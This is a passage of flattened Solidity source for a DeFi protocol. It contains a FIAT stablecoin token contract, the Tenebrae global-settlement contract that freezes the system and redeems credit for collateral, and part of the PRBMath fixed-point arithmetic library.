function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
/// @title Fixed Income Asset Token (FIAT)
/// @notice `FIAT` is the protocol's stable asset which can be redeemed for `Credit` via `Moneta`
contract FIAT is Guarded, ERC20Permit, IFIATExcl {
constructor() Guarded() ERC20("Fixed Income Asset Token", "FIAT") ERC20Permit("Fixed Income Asset Token") {}
/// ======== Minting and Burning ======== ///
/// @notice Increases the totalSupply by `amount` and transfers the new tokens to `to`
/// @dev Sender has to be allowed to call this method
/// @param to Address to which tokens should be credited to
/// @param amount Amount of tokens to be minted [wad]
function mint(address to, uint256 amount) external override checkCaller {
_mint(to, amount);
}
/// @notice Decreases the totalSupply by `amount` and using the tokens from `from`
/// @dev If `from` is not the caller, caller needs to have sufficient allowance from `from`,
/// `amount` is then deducted from the caller's allowance
/// @param from Address from which tokens should be burned from
/// @param amount Amount of tokens to be burned [wad]
function burn(address from, uint256 amount) public virtual {
_spendAllowance(from, _msgSender(), amount);
_burn(from, amount);
}
/// @notice Overrides `_spendAllowance` behaviour exempting the case where owner == spender
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal override {
if (owner == spender) return;
super._spendAllowance(owner, spender, amount);
}
}// Copyright (C) 2018 Rain <[email protected]>
// Copyright (C) 2018 Lev Livnev <[email protected]>
// Copyright (C) 2020-2021 Maker Ecosystem Growth Holdings, INC.
interface ITenebrae {
function codex() external view returns (ICodex);
function limes() external view returns (ILimes);
function aer() external view returns (IAer);
function collybus() external view returns (ICollybus);
function live() external view returns (uint256);
function lockedAt() external view returns (uint256);
function cooldownDuration() external view returns (uint256);
function debt() external view returns (uint256);
function lostCollateral(address, uint256) external view returns (uint256);
function normalDebtByTokenId(address, uint256) external view returns (uint256);
function claimed(
address,
uint256,
address
) external view returns (uint256);
function setParam(bytes32 param, address data) external;
function setParam(bytes32 param, uint256 data) external;
function lockPrice(address vault, uint256 tokenId) external view returns (uint256);
function redemptionPrice(address vault, uint256 tokenId) external view returns (uint256);
function lock() external;
function skipAuction(address vault, uint256 auctionId) external;
function offsetPosition(
address vault,
uint256 tokenId,
address user
) external;
function closePosition(address vault, uint256 tokenId) external;
function fixGlobalDebt() external;
function redeem(
address vault,
uint256 tokenId,
uint256 credit
) external;
}
/// @title Tenebrae
/// @notice `Tenebrae` coordinates Global Settlement. This is an involved, stateful process that takes
/// place over nine steps.
///
/// Uses End.sol from DSS (MakerDAO) / GlobalSettlement SafeEngine.sol from GEB (Reflexer Labs) as a blueprint
/// Changes from End.sol / GlobalSettlement.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
///
/// @dev
/// First we freeze the system and lock the prices for each vault and TokenId.
///
/// 1. `lock()`:
/// - freezes user entrypoints
/// - cancels debtAuction/surplusAuction auctions
/// - starts cooldown period
///
/// We must process some system state before it is possible to calculate
/// the final credit / collateral price. In particular, we need to determine
///
/// a. `debt`, the outstanding credit supply after including system surplus / deficit
///
/// b. `lostCollateral`, the collateral shortfall per collateral type by
/// considering under-collateralised Positions.
///
/// We determine (a) by processing ongoing credit generating processes,
/// i.e. auctions. We need to ensure that auctions will not generate any
/// further credit income.
///
/// In the case of the Dutch Auctions model (CollateralAuction) they keep recovering
/// debt during the whole lifetime and there isn't a max duration time
/// guaranteed for the auction to end.
/// So the way to ensure the protocol will not receive extra credit income is:
///
/// 2a. i) `skipAuctions`: cancel all ongoing auctions and seize the collateral.
///
/// `skipAuctions(vault, id)`:
/// - cancel individual running collateralAuction auctions
/// - retrieves remaining collateral and debt (including penalty) to owner's Position
///
/// We determine (b) by processing all under-collateralised Positions with `offsetPosition`:
///
/// 3. `offsetPosition(vault, tokenId, position)`:
/// - cancels the Position's debt with an equal amount of collateral
///
/// When a Position has been processed and has no debt remaining, the
/// remaining collateral can be removed.
///
/// 4. `closePosition(vault)`:
/// - remove collateral from the caller's Position
/// - owner can call as needed
///
/// After the processing period has elapsed, we enable calculation of
/// the final price for each collateral type.
///
/// 5. `fixGlobalDebt()`:
/// - only callable after processing time period elapsed
/// - assumption that all under-collateralised Positions are processed
/// - fixes the total outstanding supply of credit
/// - may also require extra Position processing to cover aer surplus
///
/// At this point we have computed the final price for each collateral
/// type and credit holders can now turn their credit into collateral. Each
/// unit credit can claim a fixed basket of collateral.
///
/// Finally, collateral can be obtained with `redeem`.
///
/// 6. `redeem(vault, tokenId wad)`:
/// - exchange some credit for collateral tokens from a specific vault and tokenId
contract Tenebrae is Guarded, ITenebrae {
/// ======== Custom Errors ======== ///
error Tenebrae__setParam_notLive();
error Tenebrae__setParam_unknownParam();
error Tenebrae__lock_notLive();
error Tenebrae__skipAuction_debtNotZero();
error Tenebrae__skipAuction_overflow();
error Tenebrae__offsetPosition_debtNotZero();
error Tenebrae__offsetPosition_overflow();
error Tenebrae__closePosition_stillLive();
error Tenebrae__closePosition_debtNotZero();
error Tenebrae__closePosition_normalDebtNotZero();
error Tenebrae__closePosition_overflow();
error Tenebrae__fixGlobalDebt_stillLive();
error Tenebrae__fixGlobalDebt_debtNotZero();
error Tenebrae__fixGlobalDebt_surplusNotZero();
error Tenebrae__fixGlobalDebt_cooldownNotFinished();
error Tenebrae__redeem_redemptionPriceZero();
/// ======== Storage ======== ///
/// @notice Codex
ICodex public override codex;
/// @notice Limes
ILimes public override limes;
/// @notice Aer
IAer public override aer;
/// @notice Collybus
ICollybus public override collybus;
/// @notice Time of lock [unix epoch time]
uint256 public override lockedAt;
/// @notice // Processing Cooldown Length [seconds]
uint256 public override cooldownDuration;
/// @notice Total outstanding credit after processing all positions and auctions [wad]
uint256 public override debt;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// @notice Total collateral shortfall for each asset
/// @dev Vault => TokenId => Collateral shortfall [wad]
mapping(address => mapping(uint256 => uint256)) public override lostCollateral;
/// @notice Total normalized debt for each asset
/// @dev Vault => TokenId => Total debt per vault [wad]
mapping(address => mapping(uint256 => uint256)) public override normalDebtByTokenId;
/// @notice Amount of collateral claimed by users
/// @dev Vault => TokenId => Account => Collateral claimed [wad]
mapping(address => mapping(uint256 => mapping(address => uint256))) public override claimed;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(bytes32 indexed param, address data);
event Lock();
event SkipAuction(
uint256 indexed auctionId,
address vault,
uint256 tokenId,
address indexed user,
uint256 debt,
uint256 collateralToSell,
uint256 normalDebt
);
event SettlePosition(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
uint256 settledCollateral,
uint256 normalDebt
);
event ClosePosition(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
uint256 collateral,
uint256 normalDebt
);
event FixGlobalDebt();
event Redeem(address indexed vault, uint256 indexed tokenId, address indexed user, uint256 credit);
constructor() Guarded() {
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(bytes32 param, address data) external override checkCaller {
if (live == 0) revert Tenebrae__setParam_notLive();
if (param == "codex") codex = ICodex(data);
else if (param == "limes") limes = ILimes(data);
else if (param == "aer") aer = IAer(data);
else if (param == "collybus") collybus = ICollybus(data);
else revert Tenebrae__setParam_unknownParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (live == 0) revert Tenebrae__setParam_notLive();
if (param == "cooldownDuration") cooldownDuration = data;
else revert Tenebrae__setParam_unknownParam();
emit SetParam(param, data);
}
/// ======== Shutdown ======== ///
/// @notice Returns the price fixed when the system got locked
/// @dev Fair price remains fixed since no new rates or spot prices are submitted to Collybus
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @return lockPrice [wad]
function lockPrice(address vault, uint256 tokenId) public view override returns (uint256) {
return wdiv(collybus.redemptionPrice(), IVault(vault).fairPrice(tokenId, false, true));
}
/// @notice Returns the price at which credit can be redeemed for collateral
/// @notice vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @return redemptionPrice [wad]
function redemptionPrice(address vault, uint256 tokenId) public view override returns (uint256) {
if (debt == 0) return 0;
(, uint256 rate, , ) = codex.vaults(vault);
uint256 collateral = wmul(wmul(normalDebtByTokenId[vault][tokenId], rate), lockPrice(vault, tokenId));
return wdiv(sub(collateral, lostCollateral[vault][tokenId]), wmul(debt, WAD));
}
/// @notice Locks the system. See 1.
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
if (live == 0) revert Tenebrae__lock_notLive();
live = 0;
lockedAt = block.timestamp;
codex.lock();
limes.lock();
aer.lock();
collybus.lock();
emit Lock();
}
/// @notice Skips on-going collateral auction. See 2.
/// @dev Has to be performed before global debt is fixed
/// @param vault Address of the Vault
/// @param auctionId Id of the collateral auction the skip
function skipAuction(address vault, uint256 auctionId) external override {
if (debt != 0) revert Tenebrae__skipAuction_debtNotZero();
(address _collateralAuction, , , ) = limes.vaults(vault);
ICollateralAuction collateralAuction = ICollateralAuction(_collateralAuction);
(, uint256 rate, , ) = codex.vaults(vault);
(, uint256 debt_, uint256 collateralToSell, , uint256 tokenId, address user, , ) = collateralAuction.auctions(
auctionId
);
codex.createUnbackedDebt(address(aer), address(aer), debt_);
collateralAuction.cancelAuction(auctionId);
uint256 normalDebt = wdiv(debt_, rate);
if (!(int256(collateralToSell) >= 0 && int256(normalDebt) >= 0)) revert Tenebrae__skipAuction_overflow();
codex.confiscateCollateralAndDebt(
vault,
tokenId,
user,
address(this),
address(aer),
int256(collateralToSell),
int256(normalDebt)
);
emit SkipAuction(auctionId, vault, tokenId, user, debt_, collateralToSell, normalDebt);
}
/// @notice Offsets the debt of a Position with its collateral. See 3.
/// @dev Has to be performed before global debt is fixed
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the Position's owner
function offsetPosition(
address vault,
uint256 tokenId,
address user
) external override {
if (debt != 0) revert Tenebrae__offsetPosition_debtNotZero();
(, uint256 rate, , ) = codex.vaults(vault);
(uint256 collateral, uint256 normalDebt) = codex.positions(vault, tokenId, user);
// get price at maturity
uint256 owedCollateral = wdiv(wmul(normalDebt, rate), IVault(vault).fairPrice(tokenId, false, true));
uint256 offsetCollateral;
if (owedCollateral > collateral) {
// owing more collateral than the Position has
lostCollateral[vault][tokenId] = add(lostCollateral[vault][tokenId], sub(owedCollateral, collateral));
offsetCollateral = collateral;
} else {
offsetCollateral = owedCollateral;
}
normalDebtByTokenId[vault][tokenId] = add(normalDebtByTokenId[vault][tokenId], normalDebt);
if (!(offsetCollateral <= 2**255 && normalDebt <= 2**255)) revert Tenebrae__offsetPosition_overflow();
codex.confiscateCollateralAndDebt(
vault,
tokenId,
user,
address(this),
address(aer),
-int256(offsetCollateral),
-int256(normalDebt)
);
emit SettlePosition(vault, tokenId, user, offsetCollateral, normalDebt);
}
/// @notice Closes a user's position, such that the user can exit part of their collateral. See 4.
/// @dev Has to be performed before global debt is fixed
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
function closePosition(address vault, uint256 tokenId) external override {
if (live != 0) revert Tenebrae__closePosition_stillLive();
if (debt != 0) revert Tenebrae__closePosition_debtNotZero();
(uint256 collateral, uint256 normalDebt) = codex.positions(vault, tokenId, msg.sender);
if (normalDebt != 0) revert Tenebrae__closePosition_normalDebtNotZero();
normalDebtByTokenId[vault][tokenId] = add(normalDebtByTokenId[vault][tokenId], normalDebt);
if (collateral > 2**255) revert Tenebrae__closePosition_overflow();
codex.confiscateCollateralAndDebt(vault, tokenId, msg.sender, msg.sender, address(aer), -int256(collateral), 0);
emit ClosePosition(vault, tokenId, msg.sender, collateral, normalDebt);
}
/// @notice Fixes the global debt of the system. See 5.
/// @dev Can only be called once.
function fixGlobalDebt() external override {
if (live != 0) revert Tenebrae__fixGlobalDebt_stillLive();
if (debt != 0) revert Tenebrae__fixGlobalDebt_debtNotZero();
if (codex.credit(address(aer)) != 0) revert Tenebrae__fixGlobalDebt_surplusNotZero();
if (block.timestamp < add(lockedAt, cooldownDuration)) revert Tenebrae__fixGlobalDebt_cooldownNotFinished();
debt = codex.globalDebt();
emit FixGlobalDebt();
}
/// @notice Gives users the ability to redeem their remaining collateral with credit. See 6.
/// @dev Has to be performed after global debt is fixed otherwise redemptionPrice is 0
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param credit Amount of credit to redeem for collateral [wad]
function redeem(
address vault,
uint256 tokenId,
uint256 credit // credit amount
) external override {
uint256 price = redemptionPrice(vault, tokenId);
if (price == 0) revert Tenebrae__redeem_redemptionPriceZero();
codex.transferCredit(msg.sender, address(aer), credit);
aer.settleDebtWithSurplus(credit);
codex.transferBalance(vault, tokenId, address(this), msg.sender, wmul(credit, price));
claimed[vault][tokenId][msg.sender] = add(claimed[vault][tokenId][msg.sender], credit);
emit Redeem(vault, tokenId, msg.sender, credit);
}
}/// @notice Emitted when the result overflows uint256.
error PRBMath__MulDivFixedPointOverflow(uint256 prod1);
/// @notice Emitted when the result overflows uint256.
error PRBMath__MulDivOverflow(uint256 prod1, uint256 denominator);
/// @notice Emitted when one of the inputs is type(int256).min.
error PRBMath__MulDivSignedInputTooSmall();
/// @notice Emitted when the intermediary absolute result overflows int256.
error PRBMath__MulDivSignedOverflow(uint256 rAbs);
/// @notice Emitted when the input is MIN_SD59x18.
error PRBMathSD59x18__AbsInputTooSmall();
/// @notice Emitted when ceiling a number overflows SD59x18.
error PRBMathSD59x18__CeilOverflow(int256 x);
/// @notice Emitted when one of the inputs is MIN_SD59x18.
error PRBMathSD59x18__DivInputTooSmall();
/// @notice Emitted when one of the intermediary unsigned results overflows SD59x18.
error PRBMathSD59x18__DivOverflow(uint256 rAbs);
/// @notice Emitted when the input is greater than 133.084258667509499441.
error PRBMathSD59x18__ExpInputTooBig(int256 x);
/// @notice Emitted when the input is greater than 192.
error PRBMathSD59x18__Exp2InputTooBig(int256 x);
/// @notice Emitted when flooring a number underflows SD59x18.
error PRBMathSD59x18__FloorUnderflow(int256 x);
/// @notice Emitted when converting a basic integer to the fixed-point format overflows SD59x18.
error PRBMathSD59x18__FromIntOverflow(int256 x);
/// @notice Emitted when converting a basic integer to the fixed-point format underflows SD59x18.
error PRBMathSD59x18__FromIntUnderflow(int256 x);
/// @notice Emitted when the product of the inputs is negative.
error PRBMathSD59x18__GmNegativeProduct(int256 x, int256 y);
/// @notice Emitted when multiplying the inputs overflows SD59x18.
error PRBMathSD59x18__GmOverflow(int256 x, int256 y);
/// @notice Emitted when the input is less than or equal to zero.
error PRBMathSD59x18__LogInputTooSmall(int256 x);
/// @notice Emitted when one of the inputs is MIN_SD59x18.
error PRBMathSD59x18__MulInputTooSmall();
/// @notice Emitted when the intermediary absolute result overflows SD59x18.
error PRBMathSD59x18__MulOverflow(uint256 rAbs);
/// @notice Emitted when the intermediary absolute result overflows SD59x18.
error PRBMathSD59x18__PowuOverflow(uint256 rAbs);
/// @notice Emitted when the input is negative.
error PRBMathSD59x18__SqrtNegativeInput(int256 x);
/// @notice Emitted when the calculating the square root overflows SD59x18.
error PRBMathSD59x18__SqrtOverflow(int256 x);
/// @notice Emitted when addition overflows UD60x18.
error PRBMathUD60x18__AddOverflow(uint256 x, uint256 y);
/// @notice Emitted when ceiling a number overflows UD60x18.
error PRBMathUD60x18__CeilOverflow(uint256 x);
/// @notice Emitted when the input is greater than 133.084258667509499441.
error PRBMathUD60x18__ExpInputTooBig(uint256 x);
/// @notice Emitted when the input is greater than 192.
error PRBMathUD60x18__Exp2InputTooBig(uint256 x);
/// @notice Emitted when converting a basic integer to the fixed-point format format overflows UD60x18.
error PRBMathUD60x18__FromUintOverflow(uint256 x);
/// @notice Emitted when multiplying the inputs overflows UD60x18.
error PRBMathUD60x18__GmOverflow(uint256 x, uint256 y);
/// @notice Emitted when the input is less than 1.
error PRBMathUD60x18__LogInputTooSmall(uint256 x);
/// @notice Emitted when the calculating the square root overflows UD60x18.
error PRBMathUD60x18__SqrtOverflow(uint256 x);
/// @notice Emitted when subtraction underflows UD60x18.
error PRBMathUD60x18__SubUnderflow(uint256 x, uint256 y);
/// @dev Common mathematical functions used in both PRBMathSD59x18 and PRBMathUD60x18. Note that this shared library
/// does not always assume the signed 59.18-decimal fixed-point or the unsigned 60.18-decimal fixed-point
/// representation. When it does not, it is explicitly mentioned in the NatSpec documentation.
library PRBMath {
/// STRUCTS ///
struct SD59x18 {
int256 value;
}
struct UD60x18 {
uint256 value;
}
/// STORAGE ///
/// @dev How many trailing decimals can be represented.
uint256 internal constant SCALE = 1e18;
/// @dev Largest power of two divisor of SCALE.
uint256 internal constant SCALE_LPOTD = 262144;
/// @dev SCALE inverted mod 2^256.
uint256 internal constant SCALE_INVERSE =
78156646155174841979727994598816262306175212592076161876661_508869554232690281;
/// FUNCTIONS ///
/// @notice Calculates the binary exponent of x using the binary fraction method.
/// @dev Has to use 192.64-bit fixed-point numbers.
/// See https://ethereum.stackexchange.com/a/96594/24693.
/// @param x The exponent as an unsigned 192.64-bit fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function exp2(uint256 x) internal pure returns (uint256 result) {
unchecked {
// Start from 0.5 in the 192.64-bit fixed-point format.
result = 0x800000000000000000000000000000000000000000000000;
// Multiply the result by root(2, 2^-i) when the bit at position i is 1. None of the intermediary results overflows
// because the initial result is 2^191 and all magic factors are less than 2^65.
if (x & 0x8000000000000000 > 0) {
result = (result * 0x16A09E667F3BCC909) >> 64;
}
if (x & 0x4000000000000000 > 0) {
result = (result * 0x1306FE0A31B7152DF) >> 64;
}
if (x & 0x2000000000000000 > 0) {
result = (result * 0x1172B83C7D517ADCE) >> 64;
}
if (x & 0x1000000000000000 > 0) {
result = (result * 0x10B5586CF9890F62A) >> 64;
}
if (x & 0x800000000000000 > 0) {
result = (result * 0x1059B0D31585743AE) >> 64;
}
if (x & 0x400000000000000 > 0) {
result = (result * 0x102C9A3E778060EE7) >> 64;
}
if (x & 0x200000000000000 > 0) {
result = (result * 0x10163DA9FB33356D8) >> 64;
}
if (x & 0x100000000000000 > 0) {
result = (result * 0x100B1AFA5ABCBED61) >> 64;
}
if (x & 0x80000000000000 > 0) {
result = (result * 0x10058C86DA1C09EA2) >> 64;
}
if (x & 0x40000000000000 > 0) {
result = (result * 0x1002C605E2E8CEC50) >> 64;
}
if (x & 0x20000000000000 > 0) {
result = (result * 0x100162F3904051FA1) >> 64;
}
if (x & 0x10000000000000 > 0) {
result = (result * 0x1000B175EFFDC76BA) >> 64;
}
if (x & 0x8000000000000 > 0) {
result = (result * 0x100058BA01FB9F96D) >> 64;
}
if (x & 0x4000000000000 > 0) {
result = (result * 0x10002C5CC37DA9492) >> 64;
}
if (x & 0x2000000000000 > 0) {
result = (result * 0x1000162E525EE0547) >> 64;
}
if (x & 0x1000000000000 > 0) {
result = (result * 0x10000B17255775C04) >> 64;
}
if (x & 0x800000000000 > 0) {
result = (result * 0x1000058B91B5BC9AE) >> 64;
}
if (x & 0x400000000000 > 0) {
result = (result * 0x100002C5C89D5EC6D) >> 64;
}
if (x & 0x200000000000 > 0) {
result = (result * 0x10000162E43F4F831) >> 64;
}
if (x & 0x100000000000 > 0) {
result = (result * 0x100000B1721BCFC9A) >> 64;
}
if (x & 0x80000000000 > 0) {
result = (result * 0x10000058B90CF1E6E) >> 64;
}
if (x & 0x40000000000 > 0) {
result = (result * 0x1000002C5C863B73F) >> 64;
}
if (x & 0x20000000000 > 0) {
result = (result * 0x100000162E430E5A2) >> 64;
}
if (x & 0x10000000000 > 0) {
result = (result * 0x1000000B172183551) >> 64;
}
if (x & 0x8000000000 > 0) {
result = (result * 0x100000058B90C0B49) >> 64;
}
if (x & 0x4000000000 > 0) {
result = (result * 0x10000002C5C8601CC) >> 64;
}
if (x & 0x2000000000 > 0) {
result = (result * 0x1000000162E42FFF0) >> 64;
}
if (x & 0x1000000000 > 0) {
result = (result * 0x10000000B17217FBB) >> 64;
}
if (x & 0x800000000 > 0) {
result = (result * 0x1000000058B90BFCE) >> 64;
}
if (x & 0x400000000 > 0) {
result = (result * 0x100000002C5C85FE3) >> 64;
}
if (x & 0x200000000 > 0) {
result = (result * 0x10000000162E42FF1) >> 64;
}
if (x & 0x100000000 > 0) {
result = (result * 0x100000000B17217F8) >> 64;
}
if (x & 0x80000000 > 0) {
result = (result * 0x10000000058B90BFC) >> 64;
}
if (x & 0x40000000 > 0) {
result = (result * 0x1000000002C5C85FE) >> 64;
}
if (x & 0x20000000 > 0) {
result = (result * 0x100000000162E42FF) >> 64;
}
if (x & 0x10000000 > 0) {
result = (result * 0x1000000000B17217F) >> 64;
}
if (x & 0x8000000 > 0) {
result = (result * 0x100000000058B90C0) >> 64;
}
if (x & 0x4000000 > 0) {
result = (result * 0x10000000002C5C860) >> 64;
}
if (x & 0x2000000 > 0) {
result = (result * 0x1000000000162E430) >> 64;
}
if (x & 0x1000000 > 0) {
result = (result * 0x10000000000B17218) >> 64;
}
if (x & 0x800000 > 0) {
result = (result * 0x1000000000058B90C) >> 64;
}
if (x & 0x400000 > 0) {
result = (result * 0x100000000002C5C86) >> 64;
}
if (x & 0x200000 > 0) {
result = (result * 0x10000000000162E43) >> 64;
}
if (x & 0x100000 > 0) {
result = (result * 0x100000000000B1721) >> 64;
}
if (x & 0x80000 > 0) {
result = (result * 0x10000000000058B91) >> 64;
}
if (x & 0x40000 > 0) {
result = (result * 0x1000000000002C5C8) >> 64;
}
if (x & 0x20000 > 0) {
result = (result * 0x100000000000162E4) >> 64;
}
if (x & 0x10000 > 0) {
result = (result * 0x1000000000000B172) >> 64;
}
if (x & 0x8000 > 0) {
result = (result * 0x100000000000058B9) >> 64;
}
if (x & 0x4000 > 0) {
result = (result * 0x10000000000002C5D) >> 64;
}
if (x & 0x2000 > 0) {
result = (result * 0x1000000000000162E) >> 64;
}
if (x & 0x1000 > 0) {
result = (result * 0x10000000000000B17) >> 64;
}
if (x & 0x800 > 0) {
result = (result * 0x1000000000000058C) >> 64;
}
if (x & 0x400 > 0) {
result = (result * 0x100000000000002C6) >> 64;
}
if (x & 0x200 > 0) {
result = (result * 0x10000000000000163) >> 64;
}
if (x & 0x100 > 0) {
result = (result * 0x100000000000000B1) >> 64;
}
if (x & 0x80 > 0) {
result = (result * 0x10000000000000059) >> 64;
}
if (x & 0x40 > 0) {
result = (result * 0x1000000000000002C) >> 64;
}
if (x & 0x20 > 0) {
result = (result * 0x10000000000000016) >> 64;
}
if (x & 0x10 > 0) {
result = (result * 0x1000000000000000B) >> 64;
}
if (x & 0x8 > 0) {
result = (result * 0x10000000000000006) >> 64;
}
if (x & 0x4 > 0) {
result = (result * 0x10000000000000003) >> 64;
}
if (x & 0x2 > 0) {
result = (result * 0x10000000000000001) >> 64;
}
if (x & 0x1 > 0) {
result = (result * 0x10000000000000001) >> 64;
}
// We're doing two things at the same time:
//
// 1. Multiply the result by 2^n + 1, where "2^n" is the integer part and the one is added to account for
// the fact that we initially set the result to 0.5. This is accomplished by subtracting from 191
// rather than 192.
// 2. Convert the result to the unsigned 60.18-decimal fixed-point format.
//
// This works because 2^(191-ip) = 2^ip / 2^191, where "ip" is the integer part "2^n".
result *= SCALE;
result >>= (191 - (x >> 64));
}
}
/// @notice Finds the zero-based index of the first one in the binary representation of x.
/// @dev See the note on msb in the "Find First Set" Wikipedia article https://en.wikipedia.org/wiki/Find_first_set
/// @param x The uint256 number for which to find the index of the most significant bit.
/// @return msb The index of the most significant bit as an uint256.
function mostSignificantBit(uint256 x) internal pure returns (uint256 msb) {
if (x >= 2**128) {
x >>= 128;
msb += 128;
}
if (x >= 2**64) {
x >>= 64;
msb += 64;
}
if (x >= 2**32) {
x >>= 32;
msb += 32;
}
if (x >= 2**16) {
x >>= 16;
msb += 16;
}
if (x >= 2**8) {
x >>= 8;
msb += 8;
}
if (x >= 2**4) {
x >>= 4;
msb += 4;
}
if (x >= 2**2) {
x >>= 2;
msb += 2;
}
if (x >= 2**1) {
// No need to shift x any more.
msb += 1;
}
}
/// @notice Calculates floor(x*y÷denominator) with full precision.
///
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv.
///
/// Requirements:
/// - The denominator cannot be zero.
/// - The result must fit within uint256.
///
/// Caveats:
/// - This function does not work with fixed-point numbers.
///
/// @param x The multiplicand as an uint256.
/// @param y The multiplier as an uint256.
/// @param denominator The divisor as an uint256.
/// @return result The result as an uint256.
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
unchecked {
result = prod0 / denominator;
}
return result;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
if (prod1 >= denominator) {
revert PRBMath__MulDivOverflow(prod1, denominator);
}
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
// See https://cs.stackexchange.com/q/138556/92363.
unchecked {
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 lpotdod = denominator & (~denominator + 1);
assembly {
// Divide denominator by lpotdod.
denominator := div(denominator, lpotdod)
// Divide [prod1 prod0] by lpotdod.
prod0 := div(prod0, lpotdod)
// Flip lpotdod such that it is 2^256 / lpotdod. If lpotdod is zero, then it becomes one.
lpotdod := add(div(sub(0, lpotdod), lpotdod), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * lpotdod;
// Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
// that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
// This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
// less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inverse;
return result;
}
}
/// @notice Calculates floor(x*y÷1e18) with full precision.
///
/// @dev Variant of "mulDiv" with constant folding, i.e. in which the denominator is always 1e18. Before returning the
/// final result, we add 1 if (x * y) % SCALE >= HALF_SCALE. Without this, 6.6e-19 would be truncated to 0 instead of
/// being rounded to 1e-18. See "Listing 6" and text above it at https://accu.org/index.php/journals/1717.
///
/// Requirements:
/// - The result must fit within uint256.
///
/// Caveats:
/// - The body is purposely left uncommented; see the NatSpec comments in "PRBMath.mulDiv" to understand how this works.
/// - It is assumed that the result can never be type(uint256).max when x and y solve the following two equations:
/// 1. x * y = type(uint256).max * SCALE
/// 2. (x * y) % SCALE >= SCALE / 2
///
/// @param x The multiplicand as an unsigned 60.18-decimal fixed-point number.
/// @param y The multiplier as an unsigned 60.18-decimal fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function mulDivFixedPoint(uint256 x, uint256 y) internal pure returns (uint256 result) {
uint256 prod0;
uint256 prod1;
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 >= SCALE) {
revert PRBMath__MulDivFixedPointOverflow(prod1);
}
uint256 remainder;
uint256 roundUpUnit;
assembly {
remainder := mulmod(x, y, SCALE)
roundUpUnit := gt(remainder, 499999999999999999)
}
if (prod1 == 0) {
unchecked {
result = (prod0 / SCALE) + roundUpUnit;
return result;
}
}
assembly {
result := add(
mul(
or(
div(sub(prod0, remainder), SCALE_LPOTD),
mul(sub(prod1, gt(remainder, prod0)), add(div(sub(0, SCALE_LPOTD), SCALE_LPOTD), 1))
),
SCALE_INVERSE
),
roundUpUnit
)
}
}
/// @notice Calculates floor(x*y÷denominator) with full precision.
///
/// @dev An extension of "mulDiv" for signed numbers. Works by computing the signs and the absolute values separately.
///
/// Requirements:
/// - None of the inputs can be type(int256).min.
/// - The result must fit within int256.
///
/// @param x The multiplicand as an int256.
/// @param y The multiplier as an int256.
/// @param denominator The divisor as an int256.
